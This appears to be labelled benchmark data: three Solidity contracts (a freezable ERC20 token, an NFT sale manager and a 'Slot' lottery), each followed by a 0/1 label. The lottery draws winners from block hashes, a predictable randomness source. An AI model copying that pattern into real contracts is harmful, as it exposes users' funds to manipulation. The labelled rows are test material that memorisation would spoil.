pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 6; uint8 public constant TOKEN_DECIMALS_UINT8 = 6; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "1irst"; string public constant TOKEN_SYMBOL = "FST"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x89cc23D79ef2B11E46b9ce72CcCF6839fa6a43C8; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0x89cc23d79ef2b11e46b9ce72cccf6839fa6a43c8)]; uint[1] memory amounts = [uint(100000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
pragma solidity ^0.4.23; contract OperationalControl { event ContractUpgrade(address newContract); address public managerPrimary; address public managerSecondary; address public bankManager; mapping(address => uint8) public otherManagers; bool public paused = false; bool public error = false; modifier onlyManager() { require(msg.sender == managerPrimary || msg.sender == managerSecondary); _; } modifier onlyBanker() { require(msg.sender == bankManager); _; } modifier onlyOtherManagers() { require(otherManagers[msg.sender] == 1); _; } modifier anyOperator() { require( msg.sender == managerPrimary || msg.sender == managerSecondary || msg.sender == bankManager || otherManagers[msg.sender] == 1 ); _; } function setOtherManager(address _newOp, uint8 _state) external onlyManager { require(_newOp != address(0)); otherManagers[_newOp] = _state; } function setPrimaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerPrimary = _newGM; } function setSecondaryManager(address _newGM) external onlyManager { require(_newGM != address(0)); managerSecondary = _newGM; } function setBanker(address _newBK) external onlyManager { require(_newBK != address(0)); bankManager = _newBK; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } modifier whenError { require(error); _; } function pause() external onlyManager whenNotPaused { paused = true; } function unpause() public onlyManager whenPaused { paused = false; } function hasError() public onlyManager whenPaused { error = true; } function noError() public onlyManager whenPaused { error = false; } } contract CCNFTFactory { function getAssetDetails(uint256 _assetId) public view returns( uint256 assetId, uint256 ownersIndex, uint256 assetTypeSeqId, uint256 assetType, uint256 createdTimestamp, uint256 isAttached, address creator, address owner ); function getAssetDetailsURI(uint256 _assetId) public view returns( uint256 assetId, uint256 ownersIndex, uint256 assetTypeSeqId, uint256 assetType, uint256 createdTimestamp, uint256 isAttached, address creator, address owner, string metaUriAddress ); function getAssetRawMeta(uint256 _assetId) public view returns( uint256 dataA, uint128 dataB ); function getAssetIdItemType(uint256 _assetId) public view returns( uint256 assetType ); function getAssetIdTypeSequenceId(uint256 _assetId) public view returns( uint256 assetTypeSequenceId ); function getIsNFTAttached( uint256 _tokenId) public view returns( uint256 isAttached ); function getAssetIdCreator(uint256 _assetId) public view returns( address creator ); function getAssetIdOwnerAndOIndex(uint256 _assetId) public view returns( address owner, uint256 ownerIndex ); function getAssetIdOwnerIndex(uint256 _assetId) public view returns( uint256 ownerIndex ); function getAssetIdOwner(uint256 _assetId) public view returns( address owner ); function spawnAsset(address _to, uint256 _assetType, uint256 _assetID, uint256 _isAttached) public; function isAssetIdOwnerOrApproved(address requesterAddress, uint256 _assetId) public view returns( bool ); function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens); function getTypeName (uint32 _type) public returns(string); function RequestDetachment( uint256 _tokenId ) public; function AttachAsset( uint256 _tokenId ) public; function BatchAttachAssets(uint256[10] _ids) public; function BatchDetachAssets(uint256[10] _ids) public; function RequestDetachmentOnPause (uint256 _tokenId) public; function burnAsset(uint256 _assetID) public; function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } contract ERC721Receiver { bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; function onERC721Received( address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } contract ERC721Holder is ERC721Receiver { function onERC721Received(address, uint256, bytes) public returns(bytes4) { return ERC721_RECEIVED; } } contract CCTimeSaleManager is ERC721Holder, OperationalControl { struct CollectibleSale { address seller; uint256 startingPrice; uint256 endingPrice; uint256 duration; uint64 startedAt; bool isActive; address buyer; uint256 tokenId; } struct PastSales { uint256[5] sales; } address public NFTAddress; mapping (uint256 => CollectibleSale) public tokenIdToSale; mapping (uint256 => uint256) public assetTypeSaleCount; mapping (uint256 => PastSales) internal assetTypeSalePrices; uint256 public avgSalesToCount = 5; mapping(uint256 => uint256[]) public assetTypeSalesTokenId; event SaleWinner(address owner, uint256 collectibleId, uint256 buyingPrice); event SaleCreated(uint256 tokenID, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint64 startedAt); event SaleCancelled(address seller, uint256 collectibleId); mapping (uint256 => uint256) internal vendingAmountType; mapping (uint256 => uint256) internal vendingTypeSold; mapping (uint256 => uint256) internal vendingPrice; mapping (uint256 => uint256) internal vendingStepUpAmount; mapping (uint256 => uint256) internal vendingStepUpQty; uint256 public startingIndex = 100000; uint256 public vendingAttachedState = 1; constructor() public { require(msg.sender != address(0)); paused = true; error = false; managerPrimary = msg.sender; managerSecondary = msg.sender; bankManager = msg.sender; } function setNFTAddress(address _address) public onlyManager { NFTAddress = _address; } function setAvgSalesCount(uint256 _count) public onlyManager { avgSalesToCount = _count; } function CreateSale(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { _createSale(_tokenId, _startingPrice, _endingPrice, _duration, _seller); } function BatchCreateSales(uint256[] _tokenIds, uint256 _startingPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { uint256 _tokenId; for (uint256 i = 0; i < _tokenIds.length; ++i) { _tokenId = _tokenIds[i]; _createSale(_tokenId, _startingPrice, _endingPrice, _duration, _seller); } } function CreateSaleAvgPrice(uint256 _tokenId, uint256 _margin, uint _minPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { var ccNFT = CCNFTFactory(NFTAddress); uint256 assetType = ccNFT.getAssetIdItemType(_tokenId); uint256 salePrice = GetAssetTypeAverageSalePrice(assetType); salePrice = salePrice * _margin / 10000; if(salePrice < _minPrice) { salePrice = _minPrice; } _createSale(_tokenId, salePrice, _endingPrice, _duration, _seller); } function BatchCreateSaleAvgPrice(uint256[] _tokenIds, uint256 _margin, uint _minPrice, uint256 _endingPrice, uint64 _duration, address _seller) public anyOperator { var ccNFT = CCNFTFactory(NFTAddress); uint256 assetType; uint256 _tokenId; uint256 salePrice; for (uint256 i = 0; i < _tokenIds.length; ++i) { _tokenId = _tokenIds[i]; assetType = ccNFT.getAssetIdItemType(_tokenId); salePrice = GetAssetTypeAverageSalePrice(assetType); salePrice = salePrice * _margin / 10000; if(salePrice < _minPrice) { salePrice = _minPrice; } _tokenId = _tokenIds[i]; _createSale(_tokenId, salePrice, _endingPrice, _duration, _seller); } } function BatchCancelSales(uint256[] _tokenIds) public anyOperator { uint256 _tokenId; for (uint256 i = 0; i < _tokenIds.length; ++i) { _tokenId = _tokenIds[i]; _cancelSale(_tokenId); } } function CancelSale(uint256 _assetId) public anyOperator { _cancelSale(_assetId); } function GetCurrentSalePrice(uint256 _assetId) external view returns(uint256 _price) { CollectibleSale memory _sale = tokenIdToSale[_assetId]; return _currentPrice(_sale); } function GetCurrentTypeSalePrice(uint256 _assetType) external view returns(uint256 _price) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return _currentPrice(_sale); } function GetCurrentTypeDuration(uint256 _assetType) external view returns(uint256 _duration) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return _sale.duration; } function GetCurrentTypeStartTime(uint256 _assetType) external view returns(uint256 _startedAt) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return _sale.startedAt; } function GetCurrentTypeSaleItem(uint256 _assetType) external view returns(address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt, uint256 tokenId) { CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; return ( _sale.seller, _sale.startingPrice, _sale.endingPrice, _sale.duration, _sale.startedAt, _sale.tokenId ); } function GetCurrentTypeSaleCount(uint256 _assetType) external view returns(uint256 _count) { return assetTypeSalesTokenId[_assetType].length; } function BuyCurrentTypeOfAsset(uint256 _assetType) external whenNotPaused payable { require(msg.sender != address(0)); require(msg.sender != address(this)); CollectibleSale memory _sale = tokenIdToSale[assetTypeSalesTokenId[_assetType][0]]; require(_isOnSale(_sale)); _buy(_sale.tokenId, msg.sender, msg.value); } function BuyAsset(uint256 _assetId) external whenNotPaused payable { require(msg.sender != address(0)); require(msg.sender != address(this)); CollectibleSale memory _sale = tokenIdToSale[_assetId]; require(_isOnSale(_sale)); _buy(_assetId, msg.sender, msg.value); } function GetAssetTypeAverageSalePrice(uint256 _assetType) public view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < avgSalesToCount; i++) { sum += assetTypeSalePrices[_assetType].sales[i]; } return sum / 5; } function unpause() public anyOperator whenPaused { super.unpause(); } function withdrawBalance() public onlyBanker { bankManager.transfer(address(this).balance); } function getSale(uint256 _assetId) external view returns (address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt, bool isActive, address buyer, uint256 tokenId) { CollectibleSale memory sale = tokenIdToSale[_assetId]; require(_isOnSale(sale)); return ( sale.seller, sale.startingPrice, sale.endingPrice, sale.duration, sale.startedAt, sale.isActive, sale.buyer, sale.tokenId ); } function _createSale(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint64 _duration, address _seller) internal { var ccNFT = CCNFTFactory(NFTAddress); require(ccNFT.isAssetIdOwnerOrApproved(this, _tokenId) == true); CollectibleSale memory onSale = tokenIdToSale[_tokenId]; require(onSale.isActive == false); require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); if(ccNFT.ownerOf(_tokenId) != address(this)) { require(ccNFT.isApprovedForAll(msg.sender, this) == true); ccNFT.safeTransferFrom(ccNFT.ownerOf(_tokenId), this, _tokenId); } CollectibleSale memory sale = CollectibleSale( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now), true, address(0), uint256(_tokenId) ); _addSale(_tokenId, sale); } function _addSale(uint256 _assetId, CollectibleSale _sale) internal { require(_sale.duration >= 1 minutes); tokenIdToSale[_assetId] = _sale; var ccNFT = CCNFTFactory(NFTAddress); uint256 assetType = ccNFT.getAssetIdItemType(_assetId); assetTypeSalesTokenId[assetType].push(_assetId); SaleCreated( uint256(_assetId), uint256(_sale.startingPrice), uint256(_sale.endingPrice), uint256(_sale.duration), uint64(_sale.startedAt) ); } function _currentPrice(CollectibleSale memory _sale) internal view returns (uint256) { uint256 secondsPassed = 0; if (now > _sale.startedAt) { secondsPassed = now - _sale.startedAt; } return _computeCurrentPrice( _sale.startingPrice, _sale.endingPrice, _sale.duration, secondsPassed ); } function _computeCurrentPrice(uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed) internal pure returns (uint256) { if (_secondsPassed >= _duration) { return _endingPrice; } else { int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } function _buy(uint256 _assetId, address _buyer, uint256 _price) internal { CollectibleSale storage _sale = tokenIdToSale[_assetId]; uint256 currentPrice = _currentPrice(_sale); require(_price >= currentPrice); _sale.buyer = _buyer; _sale.isActive = false; _removeSale(_assetId); uint256 bidExcess = _price - currentPrice; _buyer.transfer(bidExcess); var ccNFT = CCNFTFactory(NFTAddress); uint256 assetType = ccNFT.getAssetIdItemType(_assetId); _updateSaleAvgHistory(assetType, _price); ccNFT.safeTransferFrom(this, _buyer, _assetId); emit SaleWinner(_buyer, _assetId, _price); } function _cancelSale (uint256 _assetId) internal { CollectibleSale storage _sale = tokenIdToSale[_assetId]; require(_sale.isActive == true); address sellerAddress = _sale.seller; _removeSale(_assetId); var ccNFT = CCNFTFactory(NFTAddress); ccNFT.safeTransferFrom(this, sellerAddress, _assetId); emit SaleCancelled(sellerAddress, _assetId); } function _isOnSale(CollectibleSale memory _sale) internal view returns (bool) { return (_sale.startedAt > 0 && _sale.isActive); } function _updateSaleAvgHistory(uint256 _assetType, uint256 _price) internal { assetTypeSaleCount[_assetType] += 1; assetTypeSalePrices[_assetType].sales[assetTypeSaleCount[_assetType] % avgSalesToCount] = _price; } function _removeSale(uint256 _assetId) internal { delete tokenIdToSale[_assetId]; var ccNFT = CCNFTFactory(NFTAddress); uint256 assetType = ccNFT.getAssetIdItemType(_assetId); bool hasFound = false; for (uint i = 0; i < assetTypeSalesTokenId[assetType].length; i++) { if ( assetTypeSalesTokenId[assetType][i] == _assetId) { hasFound = true; } if(hasFound == true) { if(i+1 < assetTypeSalesTokenId[assetType].length) assetTypeSalesTokenId[assetType][i] = assetTypeSalesTokenId[assetType][i+1]; else delete assetTypeSalesTokenId[assetType][i]; } } assetTypeSalesTokenId[assetType].length--; } function setVendingAttachedState (uint256 _collectibleType, uint256 _state) external onlyManager { vendingAttachedState = _state; } function setVendingAmount (uint256 _collectibleType, uint256 _vendingQty) external onlyManager { vendingAmountType[_collectibleType] = _vendingQty; } function setVendingStartPrice (uint256 _collectibleType, uint256 _startingPrice) external onlyManager { vendingPrice[_collectibleType] = _startingPrice; } function setVendingStepValues(uint256 _collectibleType, uint256 _stepAmount, uint256 _stepQty) external onlyManager { vendingStepUpQty[_collectibleType] = _stepQty; vendingStepUpAmount[_collectibleType] = _stepAmount; } function createVendingItem(uint256 _collectibleType, uint256 _vendingQty, uint256 _startingPrice, uint256 _stepAmount, uint256 _stepQty) external onlyManager { vendingAmountType[_collectibleType] = _vendingQty; vendingPrice[_collectibleType] = _startingPrice; vendingStepUpQty[_collectibleType] = _stepQty; vendingStepUpAmount[_collectibleType] = _stepAmount; } function vendingCreateCollectible(uint256 _collectibleType, address _toAddress) payable external whenNotPaused { require((vendingAmountType[_collectibleType] - vendingTypeSold[_collectibleType]) > 0); require(msg.value >= vendingPrice[_collectibleType]); require(msg.sender != address(0)); require(msg.sender != address(this)); require(_toAddress != address(0)); require(_toAddress != address(this)); var ccNFT = CCNFTFactory(NFTAddress); ccNFT.spawnAsset(_toAddress, _collectibleType, startingIndex, vendingAttachedState); startingIndex += 1; vendingTypeSold[_collectibleType] += 1; uint256 excessBid = msg.value - vendingPrice[_collectibleType]; if(vendingTypeSold[_collectibleType] % vendingStepUpQty[_collectibleType] == 0) { vendingPrice[_collectibleType] += vendingStepUpAmount[_collectibleType]; } if(excessBid > 0) { msg.sender.transfer(excessBid); } } function getVendingAmountLeft (uint256 _collectibleType) view public returns (uint256) { return (vendingAmountType[_collectibleType] - vendingTypeSold[_collectibleType]); } function getVendingAmountSold (uint256 _collectibleType) view public returns (uint256) { return (vendingTypeSold[_collectibleType]); } function getVendingPrice (uint256 _collectibleType) view public returns (uint256) { return (vendingPrice[_collectibleType]); } function getVendingStepPrice (uint256 _collectibleType) view public returns (uint256) { return (vendingStepUpAmount[_collectibleType]); } function getVendingStepQty (uint256 _collectibleType) view public returns (uint256) { return (vendingStepUpQty[_collectibleType]); } function getVendingInfo (uint256 _collectibleType) view public returns (uint256 amountRemaining, uint256 sold, uint256 price, uint256 stepPrice, uint256 stepQty) { amountRemaining = (vendingAmountType[_collectibleType] - vendingTypeSold[_collectibleType]); sold = vendingTypeSold[_collectibleType]; price = vendingPrice[_collectibleType]; stepPrice = vendingStepUpAmount[_collectibleType]; stepQty = vendingStepUpQty[_collectibleType]; } }
0
pragma solidity ^0.4.16; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } contract SlotTicket is StandardToken, Ownable { string public name = "Slot Ticket"; uint8 public decimals = 0; string public symbol = "SLOT"; string public version = "0.1"; event Mint(address indexed to, uint256 amount); function mint(address _to, uint256 _amount) onlyOwner returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function destroy() onlyOwner { selfdestruct(owner); } } contract Slot is Ownable, Pausable { using SafeMath for uint256; SlotTicket public token; mapping (uint => mapping (uint => address)) participants; uint256[8] prizes = [4 ether, 2 ether, 1 ether, 500 finney, 500 finney, 500 finney, 500 finney, 500 finney]; uint8 constant SIZE = 100; uint32 constant JACKPOT_SIZE = 1000000; uint32 constant INACTIVITY = 160000; uint256 constant public PRICE = 100 finney; uint256 public jackpotAmount; uint256 public gameNumber; uint256 public gameStarted; bool public undestroyable; address wallet; uint256 counter; event ParticipantAdded(address indexed _participant, uint256 indexed _game, uint256 indexed _number); event PrizeAwarded(uint256 indexed _game , address indexed _winner, uint256 indexed _amount); event JackpotAwarded(uint256 indexed _game, address indexed _winner, uint256 indexed _amount); event GameRefunded(uint256 _game); function Slot(address _wallet) payable { token = new SlotTicket(); wallet = _wallet; jackpotAmount = msg.value; gameNumber = 0; counter = 0; gameStarted = block.number; undestroyable = false; } function() payable { buyTicketsFor(msg.sender); } function buyTicketsFor(address beneficiary) whenNotPaused() payable { require(beneficiary != 0x0); require(msg.value >= PRICE); uint256 change = msg.value%PRICE; uint256 numberOfTickets = msg.value.sub(change).div(PRICE); token.mint(beneficiary, numberOfTickets); addParticipant(beneficiary, numberOfTickets); msg.sender.transfer(change); } function addParticipant(address _participant, uint256 _numberOfTickets) private { for (uint256 i = 0; i < _numberOfTickets; i++) { participants[gameNumber][counter%SIZE] = _participant; ParticipantAdded(_participant, gameNumber, counter%SIZE); if (++counter%SIZE == 0) { awardPrizes(); distributeRemaining(); increaseGame(); } } } function rand(uint32 _size) constant private returns (uint256 randomNumber) { return uint256(keccak256(block.blockhash(block.number-1), block.blockhash(block.number-100)))%_size; } function awardPrizes() private { uint256 winnerIndex = rand(SIZE); bool jackpotWon = winnerIndex == rand(JACKPOT_SIZE); for (uint8 i = 0; i < prizes.length; i++) { if (jackpotWon && i==0) { distributeJackpot(winnerIndex); } participants[gameNumber][winnerIndex%SIZE].transfer(prizes[i]); PrizeAwarded(gameNumber, participants[gameNumber][winnerIndex%SIZE], prizes[i]); winnerIndex++; } } function distributeJackpot(uint256 _winnerIndex) private { participants[gameNumber][_winnerIndex].transfer(jackpotAmount); JackpotAwarded(gameNumber, participants[gameNumber][_winnerIndex], jackpotAmount); jackpotAmount = 0; } function distributeRemaining() private { jackpotAmount = jackpotAmount.add(250 finney); wallet.transfer(249 finney); msg.sender.transfer(1 finney); } function increaseGame() private { gameNumber++; gameStarted = block.number; } function refundGameAfterLongInactivity() { require(block.number.sub(gameStarted) >= INACTIVITY); require(counter%SIZE != 0); for (uint8 i = 0; i < counter%SIZE; i++) { participants[gameNumber][i].transfer(PRICE); } counter -= counter%SIZE; GameRefunded(gameNumber); increaseGame(); } function destroy() onlyOwner { require(!undestroyable); token.destroy(); selfdestruct(owner); } function changeWallet(address _newWallet) onlyOwner { require(_newWallet != 0x0); wallet = _newWallet; } function makeUndestroyable() onlyOwner { undestroyable = true; } }
0
